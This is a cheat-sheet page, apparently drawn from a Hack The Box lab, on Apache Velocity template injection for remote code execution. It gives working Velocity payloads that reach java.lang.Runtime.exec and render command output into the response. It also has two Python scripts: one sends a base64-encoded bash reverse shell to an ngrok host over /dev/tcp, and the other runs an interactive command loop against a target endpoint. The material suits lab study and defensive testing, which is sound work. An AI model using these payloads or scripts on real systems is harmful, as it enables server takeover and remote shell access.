Skip to content
Velocity RCE

Velocity RCE

Velocity context object to Runtime RCE

Manual payload template. CONTEXT_OBJECT represents the key passed to context.put() without the $ prefix, and <COMMAND> represents the operating-system command.

Testing

#set($run=1 + 1)$run

Expected output

2

Context object

Velocity context variables come from application calls shaped like:

context.put("CONTEXT_OBJECT", object);
$CONTEXT_OBJECT

Expected output

<rendered object value>

Object class

.class returns the Java Class object representing the exposed context object.

$CONTEXT_OBJECT.class

Expected output

class <fully qualified Java class>

Runtime class lookup

forName() belongs to java.lang.Class and looks up another class by its full name.

$CONTEXT_OBJECT.class.forName("java.lang.Runtime")

Expected output

class java.lang.Runtime

In-band command execution and output

#set($ex=$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec("<COMMAND>"))#set($exit=$ex.waitFor())#set($out=$ex.getInputStream())#set($str=$CONTEXT_OBJECT.class.forName("java.lang.String"))#set($chr=$CONTEXT_OBJECT.class.forName("java.lang.Character"))#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Expected output

<command output>

Runtime.exec() returns a Process stored in $ex. $exit stores the exit status after waitFor(), and $out stores the process stdout stream. $str and $chr store the Class objects for String and Character; the loop uses them to turn each stdout byte into rendered text.

Automation

Blind execution / reverse shell

Runtime.exec(String) does not process a command like an interactive shell. Shell quotes and redirections inside a normal bash -c '...' string are not interpreted as expected. The reverse-shell command is base64 encoded, then decoded and passed to Bash through a whitespace-free command that survives Runtime.exec() tokenization.

import base64

def send_ssti(s, ngrok_tcp_url, ngrok_tcp_port):
    rev_shell_cmd = f"bash -i >& /dev/tcp/{ngrok_tcp_url}/{ngrok_tcp_port} 0>&1"
    rev_shell_base64 = base64.b64encode(rev_shell_cmd.encode()).decode()
    runtime_cmd = f"bash -c {{echo,{rev_shell_base64}}}|{{base64,-d}}|{{bash,-i}}"
    payload = f'$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec("{runtime_cmd}")'
    data = {
        "<PAYLOAD_FIELD>": payload
    }
    try:
        r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not send request.")
    print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")

In-band execution

This format runs the command, reads stdout from the returned Java Process, and renders the output into the HTTP response. repr(command) inserts the command as a quoted string in the Velocity payload. Commands that depend on shell operators still require a shell wrapper.

from bs4 import BeautifulSoup

def send_ssti(s, command):
    payload = f'#set($ex=$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec({repr(command)}))#set($exit=$ex.waitFor())#set($out=$ex.getInputStream())#set($str=$CONTEXT_OBJECT.class.forName("java.lang.String"))#set($chr=$CONTEXT_OBJECT.class.forName("java.lang.Character"))#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end'
    data = {
        "<PAYLOAD_FIELD>": payload
    }
    try:
        r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not send request.")
        sys.exit(1)
    print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")
    return r.text

def read_ssti_output(response_text):
    soup = BeautifulSoup(response_text, "html.parser")
    output = soup.find("<OUTPUT_TAG>", {"class": "<OUTPUT_CLASS>"}).get_text().strip()
    return output
if __name__ == "__main__":
    s = requests.Session()
    print(f"[+] {Fore.LIGHTGREEN_EX}Insert command to run below")
    try:
        while True:
            command = input("> ").strip()
            response_text = send_ssti(s, command)
            print(read_ssti_output(response_text))
    except KeyboardInterrupt:
        print(f"[-] {Fore.RED}Execution stopped.")

Find by: ssti, velocity, apache velocity, java, template injection, velocitycontext, context put, class, forName, java.lang.Runtime, getRuntime, exec, process, inputstream, command output, in band, blind execution, reverse shell, base64, bash, ngrok, beautifulsoup · Source: HTB/LabyrinthLinguis + Apache Velocity VELOCITY-877 + Testing Velocity SSTI